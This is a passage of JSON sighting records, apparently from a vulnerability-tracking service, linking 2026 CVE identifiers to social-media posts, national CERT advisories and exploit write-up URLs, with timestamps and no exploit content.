"seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "87e794ee-5186-465b-ac27-4f61b5bc4593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27181", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "95b23378-e711-4e81-b848-8e27f992f869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27309", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mictjjm5n22w", "content": "", "creation_timestamp": "2026-03-30T23:40:09.356623Z"}, {"uuid": "7a1924bc-f02b-4bd4-b81c-5aa824ef9f07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27176", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "ccecb0a0-5c30-48a2-ae9b-7a8c5cefe166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mguzwxlgu225", "content": "", "creation_timestamp": "2026-03-12T18:32:40.535337Z"}, {"uuid": "09c9aa75-1153-4a67-b85f-47f98e96903b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27689", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "26e5f3c7-c4a2-4fee-9423-392d84969802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mguzwxlgu225", "content": "", "creation_timestamp": "2026-03-12T18:32:40.631911Z"}, {"uuid": "dcf3d797-e35b-40d4-94fe-ae5f8f48bbc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27280", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgv2ej5tpd22", "content": "", "creation_timestamp": "2026-03-12T18:40:09.549429Z"}, {"uuid": "807406d1-0877-48fe-88ca-9750f2647bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27625", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhjjd2f64525", "content": "", "creation_timestamp": "2026-03-20T22:01:01.544042Z"}, {"uuid": "bcf4c7cd-2914-4410-b40b-a307c5d0e0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27309", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi364lvtux2r", "content": "", "creation_timestamp": "2026-03-27T22:28:29.267560Z"}, {"uuid": "7a75e615-af5b-43d9-b592-a245dc017646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27876", "type": "seen", "source": "https://bsky.app/profile/breachandbuild.bsky.social/post/3mi6aalkoof2h", "content": "", "creation_timestamp": "2026-03-29T03:44:30.118584Z"}, {"uuid": "f56d9684-5cd2-45f9-8a9a-0f726e4cba15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27688", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "8cfb3a6a-b9b1-47cb-a44c-f3dd12efc45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27687", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "063516ae-18ec-44e5-b903-1cbee576fb41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "df84db39-160b-4f6c-86d7-e359a16f6e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27625", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhjk75yqa626", "content": "", "creation_timestamp": "2026-03-20T22:16:44.838362Z"}, {"uuid": "7ed8becd-fd17-4af4-94be-6973a83fe8e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27686", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "b94377f2-aa3d-4620-9621-87aeed70676c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27309", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi37cgjnrz2i", "content": "", "creation_timestamp": "2026-03-27T22:49:38.012762Z"}, {"uuid": "637def80-0e38-4b72-ac56-2b8af20659ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27625", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhjk7wvls22f", "content": "", "creation_timestamp": "2026-03-20T22:17:10.672331Z"}, {"uuid": "57decb38-2d8b-487a-b05d-e7979c594201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27602", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhyxano3qb2r", "content": "", "creation_timestamp": "2026-03-27T01:20:09.003877Z"}, {"uuid": "480f7d22-7d39-4c4d-91a7-2b1557b77462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27413", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116254430139875917", "content": "", "creation_timestamp": "2026-03-19T06:30:27.689791Z"}, {"uuid": "59cebe72-099a-40bf-a67f-afb4a69b5347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27413", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhfeu7ojg42m", "content": "", "creation_timestamp": "2026-03-19T06:30:29.851719Z"}, {"uuid": "b1191d0f-727a-4df6-b316-db1b0bc78ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27889", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhw3cq7ade2s", "content": "", "creation_timestamp": "2026-03-25T21:54:54.578692Z"}, {"uuid": "186ae18e-c7ec-4d3f-a17f-d1b974ff0a36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27096", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhff6pqune25", "content": "", "creation_timestamp": "2026-03-19T06:36:22.285654Z"}, {"uuid": "bf3e23bb-526b-494e-bcc2-ed0a89ec6d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27413", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhff6v3foe25", "content": "", "creation_timestamp": "2026-03-19T06:36:27.674280Z"}, {"uuid": "82523e2a-34dd-43ac-a561-9821f3b8eaed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27397", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfj72bfnr2k", "content": "", "creation_timestamp": "2026-03-19T07:48:07.661077Z"}, {"uuid": "8368f4ac-30c8-44e5-8e5d-6e57c14f3a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27625", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhjkbua3zw26", "content": "", "creation_timestamp": "2026-03-20T22:18:15.215042Z"}, {"uuid": "e1dd93e6-91b6-4d08-a182-cefa7d4b8945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhff6wxohx2k", "content": "", "creation_timestamp": "2026-03-19T06:36:29.738920Z"}, {"uuid": "403f61ca-5941-4ca0-adf8-a37ed9134939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27542", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhff73qiox2s", "content": "", "creation_timestamp": "2026-03-19T06:36:34.824301Z"}, {"uuid": "96f818af-789f-404a-996f-2993ab7db965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27096", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfjghyxru2e", "content": "", "creation_timestamp": "2026-03-19T07:52:16.995096Z"}, {"uuid": "58d7cb86-5631-419e-8331-b19632294b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27096", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhffgtf2kf2d", "content": "", "creation_timestamp": "2026-03-19T06:43:09.183557Z"}, {"uuid": "39416f2a-e013-4f14-982a-1abff61669bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27091", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfjp3qqt22y", "content": "", "creation_timestamp": "2026-03-19T07:57:06.595578Z"}, {"uuid": "227155cd-637a-4435-9c4d-a63a2a22ba82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27096", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhfg5deuis2v", "content": "", "creation_timestamp": "2026-03-19T06:53:28.799057Z"}, {"uuid": "a74027df-6e11-449f-9082-0d5cd6ced502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhfg5kwp5q2c", "content": "", "creation_timestamp": "2026-03-19T06:53:37.559475Z"}, {"uuid": "1b3f94a6-30fa-4c45-8e15-6e22824a70a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27540", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116254784076288405", "content": "", "creation_timestamp": "2026-03-19T08:00:28.593583Z"}, {"uuid": "6436b687-aef3-4de8-bf69-297c87aa4c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27072", "type": "seen", "source": "https://www.cert.si/si-cert-2026-02/", "content": "", "creation_timestamp": "2026-03-02T12:33:36.000000Z"}, {"uuid": "36aee6d9-815c-42e9-baa4-e8c80a4242a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27115", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhs5cw3akh2w", "content": "", "creation_timestamp": "2026-03-24T08:20:09.270231Z"}, {"uuid": "0628cdc4-fefa-44a1-ae2e-4a517ddcd031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mhfg5mbulb25", "content": "", "creation_timestamp": "2026-03-19T06:53:38.348782Z"}, {"uuid": "4f0ad206-6c24-4f8c-9608-d74daca6e482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27540", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhfjv63bkv2n", "content": "", "creation_timestamp": "2026-03-19T08:00:31.131790Z"}, {"uuid": "2af666bc-4746-41d1-844c-c5c9dce14aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhfg5tzwzb2x", "content": "", "creation_timestamp": "2026-03-19T06:53:46.950775Z"}, {"uuid": "7eaaff19-1ebe-499e-876d-233fcf325c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27776", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhqd7g7vgh2r", "content": "", "creation_timestamp": "2026-03-23T15:00:15.020990Z"}, {"uuid": "6054b8dc-2f22-4c9d-aa1c-0b49ab9a4c20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27093", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhfhjfw5ku2s", "content": "", "creation_timestamp": "2026-03-19T07:18:09.712808Z"}, {"uuid": "9580aba2-635b-4c77-b4da-1814dfc836b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfk7dabxd2o", "content": "", "creation_timestamp": "2026-03-19T08:06:10.885255Z"}, {"uuid": "c12afc12-3650-4355-895b-612b74b2e37b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27591", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhgoquv53l2h", "content": "", "creation_timestamp": "2026-03-19T19:00:46.080883Z"}, {"uuid": "f731d224-bf94-46ed-a16c-b8cf4357db91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27542", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfknppmjw27", "content": "", "creation_timestamp": "2026-03-19T08:14:14.095640Z"}, {"uuid": "733f3fc3-ba26-47be-bf03-4ea7b1eb58b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2756", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116273765165765303", "content": "", "creation_timestamp": "2026-03-22T16:27:36.613062Z"}, {"uuid": "daea3790-3904-4cff-a411-dd6976ce15c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27093", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfkwo5lbg2n", "content": "", "creation_timestamp": "2026-03-19T08:19:14.119283Z"}, {"uuid": "f8b9dbec-8c64-4801-bf30-63aeaf4f3df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27044", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhw6yffmta2c", "content": "", "creation_timestamp": "2026-03-25T23:00:43.134368Z"}, {"uuid": "c1bb3419-61ef-4c00-81af-461e3a1221d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-missing-authentication-vulnerability-nginx-ui-leads-full-system", "content": "", "creation_timestamp": "2026-03-10T15:59:43.000000Z"}, {"uuid": "35043728-4a26-4419-ba7c-9f58086e947f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27413", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhflrjiccl2k", "content": "", "creation_timestamp": "2026-03-19T08:34:15.186345Z"}, {"uuid": "385691b0-0a57-496a-92db-9efa53a81749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2756", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhlw2jsyqs2o", "content": "", "creation_timestamp": "2026-03-21T20:54:13.536442Z"}, {"uuid": "cf7b5360-4602-4a67-bc3f-34833f24504a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi3b6eab5c25", "content": "", "creation_timestamp": "2026-03-27T23:23:09.764112Z"}, {"uuid": "af110c92-88cd-4719-b09b-0894ad648072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi3b6le47k2j", "content": "", "creation_timestamp": "2026-03-27T23:23:17.631600Z"}, {"uuid": "b459cd77-4d65-4e15-88b3-4c3e3a4b1ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27811", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhlwfapz6j2w", "content": "", "creation_timestamp": "2026-03-21T21:00:12.907412Z"}, {"uuid": "a2317eae-08b6-4459-a315-2ff9f35d4624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27811", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mhlwfbuz4n2l", "content": "", "creation_timestamp": "2026-03-21T21:00:14.303037Z"}, {"uuid": "f63eb8ec-13fd-41d3-9c89-6de61e9e8cf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27893", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhz5ocijg62t", "content": "", "creation_timestamp": "2026-03-27T03:15:09.568804Z"}, {"uuid": "12ca8074-d802-4cb7-9573-a5b3e1072a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-injection-vulnerabilities-grafana-patch-immediately", "content": "", "creation_timestamp": "2026-03-30T19:10:23.000000Z"}, {"uuid": "4810f530-cf9d-4ffa-9b5a-8fb64b6745a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-remote-code-execution-injection-vulnerabilities-grafana-patch-immediately", "content": "", "creation_timestamp": "2026-03-30T19:10:23.000000Z"}, {"uuid": "bc5429c8-d5c2-4b64-8fbe-b0f6d2a56328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27876", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3mid5cpawdd24", "content": "", "creation_timestamp": "2026-03-31T02:35:18.469303Z"}, {"uuid": "26d71fc7-b355-4044-9d49-25bff50b09ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27697", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27697", "content": "", "creation_timestamp": "2026-03-30T23:16:35.000000Z"}, {"uuid": "084f3c83-5a65-485f-b6ca-96679f02c972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27650", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miexp7yp7z2f", "content": "", "creation_timestamp": "2026-03-31T20:00:15.192482Z"}, {"uuid": "affda5fb-4188-40ae-8900-28ae0d6abf85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mif463qs3c2r", "content": "", "creation_timestamp": "2026-03-31T21:20:08.865803Z"}, {"uuid": "70d16fdf-e4aa-4f85-9a7c-95cf509b0927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miftn4i5bv2f", "content": "", "creation_timestamp": "2026-04-01T04:20:08.843585Z"}, {"uuid": "5a811062-7008-4221-8701-fe3b239667fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/freescout_htaccess_rce.rb", "content": "", "creation_timestamp": "2026-03-31T16:18:43.000000Z"}, {"uuid": "e062eae8-0c7b-45fe-8832-96613955cf94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://bsky.app/profile/0xdf.bsky.social/post/3migk26go5a25", "content": "", "creation_timestamp": "2026-04-01T11:01:10.079846Z"}, {"uuid": "a5121ced-272b-412f-b876-3fb8ad412221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27489", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihesuxb772j", "content": "", "creation_timestamp": "2026-04-01T19:00:16.044266Z"}, {"uuid": "36035e96-4441-4429-b091-a3f191ca4cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mihlnmsdmk2g", "content": "", "creation_timestamp": "2026-04-01T21:02:38.808566Z"}, {"uuid": "7f0447b5-089f-45fc-b88b-8ee12098695e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mii5vb4mib2l", "content": "", "creation_timestamp": "2026-04-02T02:28:59.260389Z"}, {"uuid": "063cb432-ed4c-46bb-bbd9-37b4132ed206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mij36jygvj2d", "content": "", "creation_timestamp": "2026-04-02T11:13:10.076864Z"}, {"uuid": "bbc206d1-0cb0-4672-863f-7f0bc6830258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2701", "type": "seen", "source": "https://bsky.app/profile/glitterbean.wehavecookies.social.ap.brid.gy/post/3mij3ejoqwjj2", "content": "", "creation_timestamp": "2026-04-02T11:16:34.791525Z"}, {"uuid": "065901ac-ef00-4857-bb56-e4dff9b0f054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mij3svljrk2a", "content": "", "creation_timestamp": "2026-04-02T11:24:32.253715Z"}, {"uuid": "997749c7-5b75-4c40-9404-cc1e6eb5e129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3mij62adeh32b", "content": "", "creation_timestamp": "2026-04-02T12:04:25.820605Z"}, {"uuid": "4de73cee-f23f-4838-a628-1db31b58dc0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "bdc2fb02-c627-4535-9027-9fe00c39b87c", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/", "content": "", "creation_timestamp": "2026-04-02T12:19:43.338524Z"}, {"uuid": "b54baac1-5ce0-441b-b269-de85f7ca329e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://www.acn.gov.it/portale/w/progress-disponibili-poc-per-lo-sfruttamento-di-vulnerabilita-in-sharefile", "content": "", "creation_timestamp": "2026-04-02T09:59:15.000000Z"}, {"uuid": "b7e16657-7059-4a2c-9d4b-5a3e0f088711", "vulnerability_lookup_origin": 